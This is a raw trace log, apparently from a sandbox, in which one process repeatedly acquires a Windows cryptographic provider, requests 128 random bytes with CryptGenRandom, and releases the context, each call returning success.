	[0031.084] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.085] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.085] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.085] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.085] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.086] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.086] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.086] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.086] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.087] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.087] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.087] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.087] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.088] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.088] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.088] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.089] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.089] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.089] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.089] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.089] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.089] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.090] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.090] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.090] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.091] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.091] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.091] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.092] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.092] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.092] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.092] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.092] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.092] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.093] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.093] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.093] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.094] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.094] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.094] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.095] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.095] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.095] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.095] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.095] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.095] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.096] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.096] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.096] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.097] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.097] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.097] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.097] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.097] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.098] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.098] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.098] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.098] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.099] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.099] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.099] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.100] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.100] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.100] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.101] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.101] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.101] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.102] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.102] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.102] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.102] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.102] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.102] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.103] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.103] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.103] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.104] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.104] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.104] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.105] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.105] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.105] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.105] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.105] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.105] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.106] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.106] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.106] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.107] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.107] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.107] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.108] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.108] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.108] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.109] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.109] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.109] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.109] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.109] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.109] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.110] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.110] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.110] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.111] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.111] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.111] CryptAcquireContextW (in: phProv=0x39d41c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d41c*=0x5b6c38) returned 1
	[0031.112] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d430 | out: pbBuffer=0x39d430) returned 1
	[0031.112] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0031.115] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.116] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.116] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.116] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.117] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.117] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.117] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.117] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.117] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.117] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.118] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.118] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.118] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.119] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.119] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.119] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.119] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.119] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.120] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.120] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.120] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.120] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.121] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.121] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.121] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.122] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.122] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.122] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.122] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.122] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.122] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.123] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.123] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.123] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.124] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.124] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.124] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.125] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.125] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.125] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.125] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.125] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.125] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.126] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.126] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.126] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.127] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.127] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.127] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.128] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.128] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.128] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.129] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.129] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.129] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.129] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.129] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.130] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.130] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.130] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.130] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.131] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.131] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.131] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.132] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.132] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.132] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.132] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.132] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.132] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.133] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.133] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.133] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.134] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.134] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.134] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.135] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.135] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.135] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.135] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.135] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.135] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.136] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.136] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.136] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.137] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.137] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.137] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.137] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.137] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.138] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.139] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.139] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.139] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.140] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.140] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.140] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.141] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.141] CryptReleaseContext (hProv=0x596f48, dwFlags=0x0) returned 1
	[0031.141] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x596f48) returned 1
	[0031.142] CryptGenRandom (in: hProv=0x596f48, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
